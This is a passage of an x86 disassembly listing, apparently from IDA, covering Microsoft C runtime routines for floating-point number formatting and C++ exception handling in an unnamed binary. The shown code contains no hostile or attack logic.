push offset aKernel32 ; "KERNEL32"
call dword_42809C ; GetModuleHandleA
test eax, eax
jz short loc_4220D6
push offset aIsprocessorfea ; "IsProcessorFeaturePresent"
push eax
call dword_4280BC ; GetProcAddress
test eax, eax
jz short loc_4220D6
push 0
call eax ; sub_41CF18
retn
; ---------------------------------------------------------------------------
loc_4220D6: ; CODE XREF: sub_4220B2+Dj
; sub_4220B2+1Dj
jmp sub_422074
sub_4220B2 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_4220DB proc near ; CODE XREF: sub_41FE9F+3CBp
; DATA XREF: sub_41CF30+1Eo ...
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
movsx eax, byte ptr [esi]
push eax
call sub_41DF4C
cmp eax, 65h
pop ecx
jz short loc_42211B
loc_4220EF: ; CODE XREF: sub_4220DB+3Ej
inc esi
cmp dword_43F1F4, 1
jle short loc_422108
movsx eax, byte ptr [esi]
push 4
push eax
call sub_41FD15
pop ecx
pop ecx
jmp short loc_422117
; ---------------------------------------------------------------------------
loc_422108: ; CODE XREF: sub_4220DB+1Cj
movsx eax, byte ptr [esi]
mov ecx, off_43EFE8
mov al, [ecx+eax*2]
and eax, 4
loc_422117: ; CODE XREF: sub_4220DB+2Bj
test eax, eax
jnz short loc_4220EF
loc_42211B: ; CODE XREF: sub_4220DB+12j
mov cl, byte_43F1F8
mov al, [esi]
mov [esi], cl
inc esi
loc_422126: ; CODE XREF: sub_4220DB+56j
mov cl, [esi]
mov [esi], al
mov al, cl
mov cl, [esi]
inc esi
test cl, cl
jnz short loc_422126
pop esi
retn
sub_4220DB endp
; =============== S U B R O U T I N E =======================================
sub_422135 proc near ; CODE XREF: sub_41FE9F+3E2p
; DATA XREF: sub_41CF30+5o ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov dl, byte_43F1F8
mov cl, [eax]
test cl, cl
jz short loc_422151
loc_422145: ; CODE XREF: sub_422135+1Aj
cmp cl, dl
jz short loc_422151
mov cl, [eax+1]
inc eax
test cl, cl
jnz short loc_422145
loc_422151: ; CODE XREF: sub_422135+Ej
; sub_422135+12j
mov cl, [eax]
inc eax
test cl, cl
jz short locret_422182
loc_422158: ; CODE XREF: sub_422135+34j
mov cl, [eax]
test cl, cl
jz short loc_42216B
cmp cl, 65h
jz short loc_42216B
cmp cl, 45h
jz short loc_42216B
inc eax
jmp short loc_422158
; ---------------------------------------------------------------------------
loc_42216B: ; CODE XREF: sub_422135+27j
; sub_422135+2Cj ...
mov ecx, eax
loc_42216D: ; CODE XREF: sub_422135+3Cj
dec eax
cmp byte ptr [eax], 30h
jz short loc_42216D
cmp [eax], dl
jnz short loc_422178
dec eax
loc_422178: ; CODE XREF: sub_422135+40j
; sub_422135+4Bj
mov dl, [ecx]
inc eax
inc ecx
test dl, dl
mov [eax], dl
jnz short loc_422178
locret_422182: ; CODE XREF: sub_422135+21j
retn
sub_422135 endp
; =============== S U B R O U T I N E =======================================
sub_422183 proc near ; DATA XREF: sub_41CF30+28o
; .packed:off_43F5A0o
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
fld qword ptr [eax]
fcomp dbl_428888
fnstsw ax
sahf
jb short loc_422198
push 1
pop eax
retn
; ---------------------------------------------------------------------------
loc_422198: ; CODE XREF: sub_422183+Fj
xor eax, eax
retn
sub_422183 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42219B proc near ; CODE XREF: sub_420D10+430p
; DATA XREF: sub_41CF30+14o ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push ecx
cmp [ebp+arg_0], 0
push [ebp+arg_8]
jz short loc_4221C4
lea eax, [ebp+var_8]
push eax
call sub_424D48
mov eax, [ebp+arg_4]
pop ecx
pop ecx
mov ecx, [ebp+var_8]
mov [eax], ecx
mov ecx, [ebp+var_4]
mov [eax+4], ecx
leave
retn
; ---------------------------------------------------------------------------
loc_4221C4: ; CODE XREF: sub_42219B+Cj
lea eax, [ebp+arg_8]
push eax
call sub_424D75
mov eax, [ebp+arg_4]
pop ecx
pop ecx
mov ecx, [ebp+arg_8]
mov [eax], ecx
leave
retn
sub_42219B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4221D9 proc near ; CODE XREF: sub_422456+17p
; sub_4224A0+47p
var_10 = qword ptr -10h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
cmp byte_4DE0C8, 0
push ebx
push esi
jz short loc_42220E
mov ebx, [ebp+arg_8]
mov eax, dword_4DE0C4
xor ecx, ecx
mov esi, eax
test ebx, ebx
setnle cl
push ecx
xor ecx, ecx
cmp dword ptr [eax], 2Dh
setz cl
add ecx, [ebp+arg_4]
push ecx
call sub_4224F1
pop ecx
pop ecx
jmp short loc_422246
; ---------------------------------------------------------------------------
loc_42220E: ; CODE XREF: sub_4221D9+Cj
mov eax, [ebp+arg_0]
push ecx
push ecx
fld qword ptr [eax]
fstp [esp+10h+var_10]
call sub_424E19
mov ebx, [ebp+arg_8]
mov esi, eax
push esi
mov edx, [ebp+arg_4]
lea eax, [ebx+1]
push eax
xor eax, eax
cmp dword ptr [esi], 2Dh
setz al
xor ecx, ecx
test ebx, ebx
setnle cl
add edx, eax
add ecx, edx
push ecx
call sub_424DA2
add esp, 14h
loc_422246: ; CODE XREF: sub_4221D9+33j
cmp dword ptr [esi], 2Dh
mov eax, [ebp+arg_4]
jnz short loc_422252
mov byte ptr [eax], 2Dh
inc eax
loc_422252: ; CODE XREF: sub_4221D9+73j
test ebx, ebx
jle short loc_42226A
mov cl, [eax+1]
push edi
lea edi, [eax+1]
mov [eax], cl
mov cl, byte_43F1F8
mov eax, edi
pop edi
mov [eax], cl
loc_42226A: ; CODE XREF: sub_4221D9+7Bj
xor ecx, ecx
push offset aE000 ; "e+000"
cmp byte_4DE0C8, cl
setz cl
add ecx, eax
add ecx, ebx
push ecx
call sub_41C680
cmp [ebp+arg_C], 0
pop ecx
pop ecx
mov ecx, eax
jz short loc_422291
mov byte ptr [ecx], 45h
loc_422291: ; CODE XREF: sub_4221D9+B3j
mov eax, [esi+0Ch]
inc ecx
cmp byte ptr [eax], 30h
jz short loc_4222D6
mov ebx, [esi+4]
dec ebx
jns short loc_4222A5
neg ebx
mov byte ptr [ecx], 2Dh
loc_4222A5: ; CODE XREF: sub_4221D9+C5j
inc ecx
cmp ebx, 64h
jl short loc_4222BC
mov eax, ebx
push 64h
cdq
pop esi
idiv esi
add [ecx], al
mov eax, ebx
cdq
idiv esi
mov ebx, edx
loc_4222BC: ; CODE XREF: sub_4221D9+D0j
inc ecx
cmp ebx, 0Ah
jl short loc_4222D3
mov eax, ebx
push 0Ah
cdq
pop esi
idiv esi
add [ecx], al
mov eax, ebx
cdq
idiv esi
mov ebx, edx
loc_4222D3: ; CODE XREF: sub_4221D9+E7j
add [ecx+1], bl
loc_4222D6: ; CODE XREF: sub_4221D9+BFj
mov eax, [ebp+arg_4]
pop esi
pop ebx
pop ebp
retn
sub_4221D9 endp
; =============== S U B R O U T I N E =======================================
sub_4222DD proc near ; CODE XREF: sub_42247D+13p
; sub_4224A0+1Ep
var_18 = qword ptr -18h
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
cmp byte_4DE0C8, 0
push ebx
push ebp
mov ebp, [esp+8+arg_4]
push esi
push edi
jz short loc_422318
mov eax, dword_4DE0CC
mov ebx, [esp+10h+arg_8]
mov esi, dword_4DE0C4
cmp eax, ebx
jnz short loc_422348
xor ecx, ecx
cmp dword ptr [esi], 2Dh
setz cl
add ecx, eax
add ecx, ebp
mov eax, ecx
mov byte ptr [eax], 30h
and byte ptr [eax+1], 0
jmp short loc_422348
; ---------------------------------------------------------------------------
loc_422318: ; CODE XREF: sub_4222DD+Fj
mov eax, [esp+10h+arg_0]
push ecx
push ecx
fld qword ptr [eax]
fstp [esp+18h+var_18]
call sub_424E19
mov ebx, [esp+18h+arg_8]
mov esi, eax
push esi
mov eax, [esi+4]
add eax, ebx
push eax
xor eax, eax
cmp dword ptr [esi], 2Dh
setz al
add eax, ebp
push eax
call sub_424DA2
add esp, 14h
loc_422348: ; CODE XREF: sub_4222DD+22j
; sub_4222DD+39j
cmp dword ptr [esi], 2Dh
mov edi, ebp
jnz short loc_422356
mov byte ptr [ebp+0], 2Dh
lea edi, [ebp+1]
loc_422356: ; CODE XREF: sub_4222DD+70j
mov eax, [esi+4]
test eax, eax
jg short loc_42236D
push 1
push edi
call sub_4224F1
pop ecx
mov byte ptr [edi], 30h
pop ecx
inc edi
jmp short loc_42236F
; ---------------------------------------------------------------------------
loc_42236D: ; CODE XREF: sub_4222DD+7Ej
add edi, eax
loc_42236F: ; CODE XREF: sub_4222DD+8Ej
test ebx, ebx
jle short loc_4223B4
push 1
push edi
call sub_4224F1
mov al, byte_43F1F8
pop ecx
mov [edi], al
mov esi, [esi+4]
inc edi
pop ecx
test esi, esi
jge short loc_4223B4
cmp byte_4DE0C8, 0
jz short loc_422399
neg esi
jmp short loc_42239F
; ---------------------------------------------------------------------------
loc_422399: ; CODE XREF: sub_4222DD+B6j
neg esi
cmp ebx, esi
jl short loc_4223A1
loc_42239F: ; CODE XREF: sub_4222DD+BAj
mov ebx, esi
loc_4223A1: ; CODE XREF: sub_4222DD+C0j
push ebx
push edi
call sub_4224F1
push ebx
push 30h
push edi
call sub_41BD60
add esp, 14h
loc_4223B4: ; CODE XREF: sub_4222DD+94j
; sub_4222DD+ADj
pop edi
mov eax, ebp
pop esi
pop ebp
pop ebx
retn
sub_4222DD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4223BB proc near ; CODE XREF: sub_4224A0+34p
var_14 = qword ptr -14h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, [ebp+arg_0]
push ecx
push ecx
fld qword ptr [edi]
fstp [esp+14h+var_14]
call sub_424E19
mov dword_4DE0C4, eax
mov ecx, [eax+4]
dec ecx
mov ebx, [ebp+arg_8]
mov dword_4DE0CC, ecx
xor ecx, ecx
cmp dword ptr [eax], 2Dh
push eax
push ebx
setz cl
add ecx, [ebp+arg_4]
mov esi, ecx
push esi
call sub_424DA2
mov eax, dword_4DE0C4
add esp, 14h
mov ecx, [eax+4]
dec ecx
cmp dword_4DE0CC, ecx
setl cl
mov byte_4DE0D0, cl
mov eax, [eax+4]
dec eax
cmp eax, 0FFFFFFFCh
mov dword_4DE0CC, eax
jl short loc_422441
cmp eax, ebx
jge short loc_422441
test cl, cl
jz short loc_422432
loc_422428: ; CODE XREF: sub_4223BB+72j
mov al, [esi]
inc esi
test al, al
jnz short loc_422428
and [esi-2], al
loc_422432: ; CODE XREF: sub_4223BB+6Bj
push ebx
push [ebp+arg_4]
push edi
call sub_42247D
add esp, 0Ch
jmp short loc_422451
; ---------------------------------------------------------------------------
loc_422441: ; CODE XREF: sub_4223BB+63j
; sub_4223BB+67j
push [ebp+arg_C]
push ebx
push [ebp+arg_4]
push edi
call sub_422456
add esp, 10h
loc_422451: ; CODE XREF: sub_4223BB+84j
pop edi
pop esi
pop ebx
pop ebp
retn
sub_4223BB endp
; =============== S U B R O U T I N E =======================================
sub_422456 proc near ; CODE XREF: sub_4223BB+8Ep
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push [esp+arg_C]
mov byte_4DE0C8, 1
push [esp+4+arg_8]
push [esp+8+arg_4]
push [esp+0Ch+arg_0]
call sub_4221D9
and byte_4DE0C8, 0
add esp, 10h
retn
sub_422456 endp
; =============== S U B R O U T I N E =======================================
sub_42247D proc near ; CODE XREF: sub_4223BB+7Cp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push [esp+arg_8]
mov byte_4DE0C8, 1
push [esp+4+arg_4]
push [esp+8+arg_0]
call sub_4222DD
and byte_4DE0C8, 0
add esp, 0Ch
retn
sub_42247D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4224A0 proc near ; CODE XREF: sub_41FE9F+3AAp
; DATA XREF: sub_41CF30o ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
cmp [ebp+arg_8], 65h
jz short loc_4224DB
cmp [ebp+arg_8], 45h
jz short loc_4224DB
cmp [ebp+arg_8], 66h
jnz short loc_4224C8
push [ebp+arg_C]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_4222DD
add esp, 0Ch
pop ebp
retn
; ---------------------------------------------------------------------------
loc_4224C8: ; CODE XREF: sub_4224A0+13j
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_4223BB
jmp short loc_4224EC
; ---------------------------------------------------------------------------
loc_4224DB: ; CODE XREF: sub_4224A0+7j
; sub_4224A0+Dj
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_4221D9
loc_4224EC: ; CODE XREF: sub_4224A0+39j
add esp, 10h
pop ebp
retn
sub_4224A0 endp
; =============== S U B R O U T I N E =======================================
sub_4224F1 proc near ; CODE XREF: sub_4221D9+2Cp
; sub_4222DD+83p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push edi
mov edi, [esp+4+arg_4]
test edi, edi
jz short loc_422514
push esi
mov esi, [esp+8+arg_0]
push esi
call sub_41B7B0
inc eax
push eax
push esi
add esi, edi
push esi
call sub_41D460
add esp, 10h
pop esi
loc_422514: ; CODE XREF: sub_4224F1+7j
pop edi
retn
sub_4224F1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_422516 proc near ; CODE XREF: .packed:0041D110p
; sub_41D179+1Bp ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
push esi
mov esi, [ebp+arg_10]
push edi
mov edi, 19930520h
cmp [esi], edi
jz short loc_42252C
call sub_422DB2
loc_42252C: ; CODE XREF: sub_422516+Fj
mov eax, [ebp+arg_0]
test byte ptr [eax+4], 66h
jz short loc_422554
cmp dword ptr [esi+4], 0
jz short loc_4225AA
cmp [ebp+arg_14], 0
jnz short loc_4225AA
push 0FFFFFFFFh
push esi
push [ebp+arg_C]
push [ebp+arg_4]
call sub_42285D
add esp, 10h
jmp short loc_4225AA
; ---------------------------------------------------------------------------
loc_422554: ; CODE XREF: sub_422516+1Dj
cmp dword ptr [esi+0Ch], 0
jz short loc_4225AA
cmp dword ptr [eax], 0E06D7363h
jnz short loc_42258E
cmp [eax+14h], edi
jbe short loc_42258E
mov ecx, [eax+1Ch]
mov ecx, [ecx+8]
test ecx, ecx
jz short loc_42258E
movzx edx, byte ptr [ebp+arg_1C]
push edx
push [ebp+arg_18]
push [ebp+arg_14]
push esi
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push eax
call ecx
add esp, 20h
jmp short loc_4225AD
; ---------------------------------------------------------------------------
loc_42258E: ; CODE XREF: sub_422516+4Aj
; sub_422516+4Fj ...
push [ebp+arg_18]
push [ebp+arg_14]
push [ebp+arg_1C]
push esi
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push eax
call sub_4225B1
add esp, 20h
loc_4225AA: ; CODE XREF: sub_422516+23j
; sub_422516+29j ...
push 1
pop eax
loc_4225AD: ; CODE XREF: sub_422516+76j
pop edi
pop esi
pop ebp
retn
sub_422516 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4225B1 proc near ; CODE XREF: sub_422516+8Cp
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = byte ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
sub esp, 18h
mov eax, [ebp+arg_4]
and byte ptr [ebp+var_14], 0
mov eax, [eax+8]
cmp eax, 0FFFFFFFFh
mov [ebp+var_10], eax
jl short loc_4225D1
mov ecx, [ebp+arg_10]
cmp eax, [ecx+4]
jl short loc_4225D6
loc_4225D1: ; CODE XREF: sub_4225B1+16j
call sub_422DB2
loc_4225D6: ; CODE XREF: sub_4225B1+1Ej
push ebx
push esi
mov esi, [ebp+arg_0]
mov ebx, 0E06D7363h
push edi
mov edi, 19930520h
cmp [esi], ebx
jnz loc_42272D
cmp dword ptr [esi+10h], 3
jnz short loc_42264A
cmp [esi+14h], edi
jnz short loc_42264A
cmp dword ptr [esi+1Ch], 0
jnz short loc_42264A
mov esi, dword_4DE0D4
test esi, esi
jz loc_422728
mov eax, dword_4DE0D8
push 1
push esi
mov [ebp+arg_8], eax
mov byte ptr [ebp+var_14], 1
call sub_424FA0
pop ecx
test eax, eax
pop ecx
jnz short loc_42262C
call sub_422DB2
loc_42262C: ; CODE XREF: sub_4225B1+74j
cmp [esi], ebx
jnz loc_42272D
cmp dword ptr [esi+10h], 3
jnz short loc_42264A
cmp [esi+14h], edi
jnz short loc_42264A
cmp dword ptr [esi+1Ch], 0
jnz short loc_42264A
call sub_422DB2
loc_42264A: ; CODE XREF: sub_4225B1+41j
; sub_4225B1+46j ...
cmp [esi], ebx
jnz loc_42272D
cmp dword ptr [esi+10h], 3
jnz loc_42272D
cmp [esi+14h], edi
jnz loc_42272D
mov edi, [ebp+var_10]
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_4]
push eax
push edi
push [ebp+arg_18]
push [ebp+arg_10]
call sub_41D2C7
add esp, 14h
mov ebx, eax
loc_422681: ; CODE XREF: sub_4225B1+162j
mov eax, [ebp+var_4]
cmp eax, [ebp+var_18]
jnb loc_422718
cmp [ebx], edi
jg short loc_42270D
cmp edi, [ebx+4]
jg short loc_42270D
mov eax, [ebx+10h]
mov [ebp+arg_0], eax
mov eax, [ebx+0Ch]
test eax, eax
mov [ebp+var_C], eax
jle short loc_42270A
loc_4226A6: ; CODE XREF: sub_4225B1+131j
mov eax, [esi+1Ch]
mov eax, [eax+0Ch]
lea edi, [eax+4]
mov eax, [eax]
test eax, eax
mov [ebp+var_8], eax
jle short loc_4226D7
loc_4226B8: ; CODE XREF: sub_4225B1+124j
push dword ptr [esi+1Ch]
push dword ptr [edi]
push [ebp+arg_0]
call sub_422800
add esp, 0Ch
test eax, eax
jnz short loc_4226E6
dec [ebp+var_8]
add edi, 4
cmp [ebp+var_8], eax
jg short loc_4226B8
loc_4226D7: ; CODE XREF: sub_4225B1+105j
dec [ebp+var_C]
add [ebp+arg_0], 10h
cmp [ebp+var_C], 0
jg short loc_4226A6
jmp short loc_42270A
; ---------------------------------------------------------------------------
loc_4226E6: ; CODE XREF: sub_4225B1+119j
push [ebp+var_14]
push [ebp+arg_1C]
push [ebp+arg_18]
push ebx
push dword ptr [edi]
push [ebp+arg_0]
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push esi
call sub_422911
add esp, 2Ch
loc_42270A: ; CODE XREF: sub_4225B1+F3j
; sub_4225B1+133j
mov edi, [ebp+var_10]
loc_42270D: ; CODE XREF: sub_4225B1+DEj
; sub_4225B1+E3j
inc [ebp+var_4]
add ebx, 14h
jmp loc_422681
; ---------------------------------------------------------------------------
loc_422718: ; CODE XREF: sub_4225B1+D6j
cmp [ebp+arg_14], 0
jz short loc_422728
push 1
push esi
call sub_422C86
pop ecx
pop ecx
loc_422728: ; CODE XREF: sub_4225B1+56j
; sub_4225B1+16Bj ...
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_42272D: ; CODE XREF: sub_4225B1+37j
; sub_4225B1+7Dj ...
cmp [ebp+arg_14], 0
jnz short loc_422753
push [ebp+arg_1C]
push [ebp+arg_18]
push [ebp+var_10]
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push esi
call sub_422758
add esp, 20h
jmp short loc_422728
; ---------------------------------------------------------------------------
loc_422753: ; CODE XREF: sub_4225B1+180j
jmp sub_422D5C
sub_4225B1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_422758 proc near ; CODE XREF: sub_4225B1+198p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
push ecx
push ecx
cmp dword_4DE0DC, 0
push esi
push edi
jz short loc_422789
push [ebp+arg_1C]
push [ebp+arg_18]
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_41D19E
add esp, 1Ch
test eax, eax
jnz short loc_4227FC
loc_422789: ; CODE XREF: sub_422758+Ej
mov edi, [ebp+arg_14]
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_4]
push eax
push edi
push [ebp+arg_18]
push [ebp+arg_10]
call sub_41D2C7
add esp, 14h
mov esi, eax
loc_4227A5: ; CODE XREF: sub_422758+A2j
mov eax, [ebp+var_4]
cmp eax, [ebp+var_8]
jnb short loc_4227FC
cmp edi, [esi]
jl short loc_4227F4
cmp edi, [esi+4]
jg short loc_4227F4
mov eax, [esi+0Ch]
mov ecx, [esi+10h]
shl eax, 4
add eax, ecx
mov ecx, [eax-0Ch]
test ecx, ecx
jz short loc_4227CE
cmp byte ptr [ecx+8], 0
jnz short loc_4227F4
loc_4227CE: ; CODE XREF: sub_422758+6Ej
push 1
add eax, 0FFFFFFF0h
push [ebp+arg_1C]
push [ebp+arg_18]
push esi
push 0
push eax
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_422911
add esp, 2Ch
loc_4227F4: ; CODE XREF: sub_422758+57j
; sub_422758+5Cj ...
inc [ebp+var_4]
add esi, 14h
jmp short loc_4227A5
; ---------------------------------------------------------------------------
loc_4227FC: ; CODE XREF: sub_422758+2Fj
; sub_422758+53j
pop edi
pop esi
leave
retn
sub_422758 endp
; =============== S U B R O U T I N E =======================================
sub_422800 proc near ; CODE XREF: sub_4225B1+10Fp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push esi
push edi
mov edi, [esp+8+arg_0]
mov eax, [edi+4]
test eax, eax
jz short loc_422857
cmp byte ptr [eax+8], 0
lea edx, [eax+8]
jz short loc_422857
mov esi, [esp+8+arg_4]
mov ecx, [esi+4]
cmp eax, ecx
jz short loc_422831
add ecx, 8
push ecx
push edx
call sub_41C840
pop ecx
test eax, eax
pop ecx
jnz short loc_422853
loc_422831: ; CODE XREF: sub_422800+1Fj
test byte ptr [esi], 2
jz short loc_42283B
test byte ptr [edi], 8
jz short loc_422853
loc_42283B: ; CODE XREF: sub_422800+34j
mov eax, [esp+8+arg_8]
mov eax, [eax]
test al, 1
jz short loc_42284A
test byte ptr [edi], 1
jz short loc_422853
loc_42284A: ; CODE XREF: sub_422800+43j
test al, 2
jz short loc_422857
test byte ptr [edi], 2
jnz short loc_422857
loc_422853: ; CODE XREF: sub_422800+2Fj
; sub_422800+39j ...
xor eax, eax
jmp short loc_42285A
; ---------------------------------------------------------------------------
loc_422857: ; CODE XREF: sub_422800+Bj
; sub_422800+14j ...
push 1
pop eax
loc_42285A: ; CODE XREF: sub_422800+55j
pop edi
pop esi
retn
sub_422800 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42285D proc near ; CODE XREF: sub_422516+34p
; sub_422911+42p
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_4288D0
push offset sub_423D9C
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov [ebp+var_18], esp
mov ebx, [ebp+arg_0]
mov esi, [ebx+8]
mov [ebp+var_1C], esi
mov edi, [ebp+arg_8]
loc_42288F: ; CODE XREF: sub_42285D+8Aj
cmp esi, [ebp+arg_C]
jz short loc_4228E9
cmp esi, 0FFFFFFFFh
jle short loc_42289E
cmp esi, [edi+4]
jl short loc_4228A3
loc_42289E: ; CODE XREF: sub_42285D+3Aj
call sub_422DB2
loc_4228A3: ; CODE XREF: sub_42285D+3Fj
and [ebp+var_4], 0
mov eax, [edi+8]
mov eax, [eax+esi*8+4]
test eax, eax
jz short loc_4228BE
push 103h
push ebx
push eax
call sub_422D10
loc_4228BE: ; CODE XREF: sub_42285D+53j
or [ebp+var_4], 0FFFFFFFFh
jmp short loc_4228DE
; ---------------------------------------------------------------------------
push [ebp+var_14]
call sub_4228FB
pop ecx
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
or [ebp+var_4], 0FFFFFFFFh
mov edi, [ebp+arg_8]
mov ebx, [ebp+arg_0]
mov esi, [ebp+var_1C]
loc_4228DE: ; CODE XREF: sub_42285D+65j
mov eax, [edi+8]
mov esi, [eax+esi*8]
mov [ebp+var_1C], esi
jmp short loc_42288F
; ---------------------------------------------------------------------------
loc_4228E9: ; CODE XREF: sub_42285D+35j
mov [ebx+8], esi
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
sub_42285D endp
; =============== S U B R O U T I N E =======================================
sub_4228FB proc near ; CODE XREF: sub_42285D+6Ap
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov eax, [eax]
cmp dword ptr [eax], 0E06D7363h
jz short loc_42290C
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_42290C: ; CODE XREF: sub_4228FB+Cj
jmp sub_422D5C
sub_4228FB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_422911 proc near ; CODE XREF: sub_4225B1+151p
; sub_422758+94p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
arg_20 = dword ptr 28h
arg_24 = dword ptr 2Ch
push ebp
mov ebp, esp
cmp [ebp+arg_18], 0
push ebx
mov ebx, [ebp+arg_14]
push esi
push edi
mov edi, [ebp+arg_4]
jz short loc_422933
push [ebp+arg_18]
push ebx
push edi
push [ebp+arg_0]
call sub_422AC2
add esp, 10h
loc_422933: ; CODE XREF: sub_422911+10j
cmp [ebp+arg_24], 0
push [ebp+arg_0]
jnz short loc_42293F
push edi
jmp short loc_422942
; ---------------------------------------------------------------------------
loc_42293F: ; CODE XREF: sub_422911+29j
push [ebp+arg_24]
loc_422942: ; CODE XREF: sub_422911+2Cj
call sub_41D0A0
mov esi, [ebp+arg_1C]
push dword ptr [esi]
push [ebp+arg_10]
push [ebp+arg_C]
push edi
call sub_42285D
mov eax, [esi+4]
push 100h
push [ebp+arg_20]
inc eax
mov [edi+8], eax
push dword ptr [ebx+0Ch]
push [ebp+arg_10]
push [ebp+arg_8]
push edi
push [ebp+arg_0]
call sub_42298C
add esp, 2Ch
test eax, eax
jz short loc_422987
push edi
push eax
call sub_41D05E
loc_422987: ; CODE XREF: sub_422911+6Dj
pop edi
pop esi
pop ebx
pop ebp
retn
sub_422911 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42298C proc near ; CODE XREF: sub_422911+63p
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_4288E0
push offset sub_423D9C
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 1Ch
push ebx
push esi
push edi
mov [ebp+var_18], esp
mov eax, [ebp+arg_10]
mov [ebp+var_2C], eax
xor ebx, ebx
mov [ebp+var_24], ebx
mov esi, [ebp+arg_4]
mov ecx, [esi-4]
mov [ebp+var_28], ecx
mov ecx, dword_4DE0D4
mov [ebp+var_1C], ecx
mov ecx, dword_4DE0D8
mov [ebp+var_20], ecx
mov edi, [ebp+arg_0]
mov dword_4DE0D4, edi
mov ecx, [ebp+arg_8]
mov dword_4DE0D8, ecx
mov [ebp+var_4], ebx
mov [ebp+var_4], 1
push [ebp+arg_18]
push [ebp+arg_14]
push eax
push [ebp+arg_C]
push esi
call sub_41D125
add esp, 14h
mov [ebp+var_2C], eax
mov [ebp+var_4], ebx
